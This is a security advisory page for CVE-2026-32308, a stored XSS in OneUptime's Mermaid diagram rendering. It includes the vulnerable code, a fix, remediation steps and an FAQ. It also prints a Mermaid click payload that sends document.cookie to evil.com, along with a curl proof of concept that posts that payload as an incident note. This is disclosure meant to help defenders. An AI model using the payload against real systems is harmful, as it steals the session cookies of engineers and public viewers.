CVE-2026-32308: OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")

Published Mar 12, 2026
·
Updated

Summary

The Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.

Details

Mermaid configuration — Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76:

typescript // MarkdownViewer.tsx:76 mermaid.initialize({ securityLevel: "loose", // Allows interactive event bindings // ... });

The Mermaid documentation explicitly warns: securityLevel: "loose" allows click events and other interactive bindings in diagrams. The safe default is "strict" which strips all interactivity.

SVG injection via innerHTML — MarkdownViewer.tsx:106:

typescript // MarkdownViewer.tsx:106 if (containerRef.current) { containerRef.current.innerHTML = svg; // Raw SVG injection }

After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via innerHTML. Combined with securityLevel: "loose", this allows event handlers embedded in the SVG to execute.

Mermaid XSS payload:

markdown mermaid graph TD A["Click me"] click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)" ​

With securityLevel: "loose", Mermaid processes the click directive and creates an SVG element with an event handler that executes the JavaScript.

PoC

bash Authenticate TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password123"}' \ | jq -r '.token')

Create an incident note with Mermaid XSS payload curl -s -X POST 'https://TARGET/api/incident-note' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "data": { "incidentId": "INCIDENTID", "note": "## Root Cause Analysis\n\nmermaid\ngraph TD\n A[\"Load Balancer\"] --> B[\"App Server\"]\n click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n", "noteType": "RootCause" } }'

Any user viewing this incident note will have their cookies exfiltrated

bash Verify the vulnerability in source code:

1. securityLevel: "loose": grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx Line 76: securityLevel: "loose"

2. innerHTML injection: grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx Line 106: containerRef.current.innerHTML = svg

Impact

Stored XSS in any markdown-rendered field. Affects:

1. Incident notes/descriptions — viewed by on-call engineers during incidents 2. Status page announcements — viewed by public visitors 3. Monitor descriptions — viewed by team members 4. Any markdown field — the MarkdownViewer component is shared across the UI

The "loose" security level combined with innerHTML injection allows arbitrary JavaScript execution in the context of the OneUptime application.

Proposed Fix

typescript // 1. Change securityLevel to "strict" (default safe mode): mermaid.initialize({ securityLevel: "strict", // Strips all interactive bindings // ... });

// 2. Use DOMPurify on the SVG output before innerHTML injection: import DOMPurify from "dompurify";

if (containerRef.current) { containerRef.current.innerHTML = DOMPurify.sanitize(svg, { USEPROFILES: { svg: true, svgFilters: true }, ADDTAGS: ['foreignObject'], }); }

Other sources

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.

— MITRE

Affected Software

3 affected componentsFixes available
OneUptime OneUptime<10.0.23
npm/oneuptime<10.0.23
10.0.23
Hackerbay Oneuptime<10.0.23

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/oneuptime to a version that resolves this vulnerability.

    Fixed in 10.0.23
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 10.0.23
  3. Configuration

    Change Mermaid securityLevel from "loose" to "strict" to strip interactive bindings.

    OneUptime MarkdownViewer Mermaid configuration securityLevel = strict
  4. Compensating control

    Sanitize Mermaid SVG output with DOMPurify before assigning it to innerHTML, using the documented SVG profile options: USE_PROFILES: { svg: true, svgFilters: true }.

Event History

Mar 12, 2026
CVE Published
via MITRE·09:29 PM
Data Sourced
via MITRE·09:29 PM
DescriptionSeverityWeakness
Mar 13, 2026
Data Sourced
via NVD·07:54 PM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·08:00 PM
Data Sourced
via GitHub·08:00 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-32308?

The severity of CVE-2026-32308 is classified as a moderate risk due to potential stored XSS vulnerabilities.

2

How do I fix CVE-2026-32308?

To mitigate CVE-2026-32308, update OneUptime to version 10.0.23 or later where the vulnerability is addressed.

3

What products are affected by CVE-2026-32308?

CVE-2026-32308 affects OneUptime versions prior to 10.0.23.

4

What type of vulnerability is CVE-2026-32308?

CVE-2026-32308 is a stored cross-site scripting (XSS) vulnerability.

5

How does CVE-2026-32308 occur?

CVE-2026-32308 occurs when the Markdown viewer component renders Mermaid diagrams with a loose securityLevel, allowing SVG content to be injected via innerHTML.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203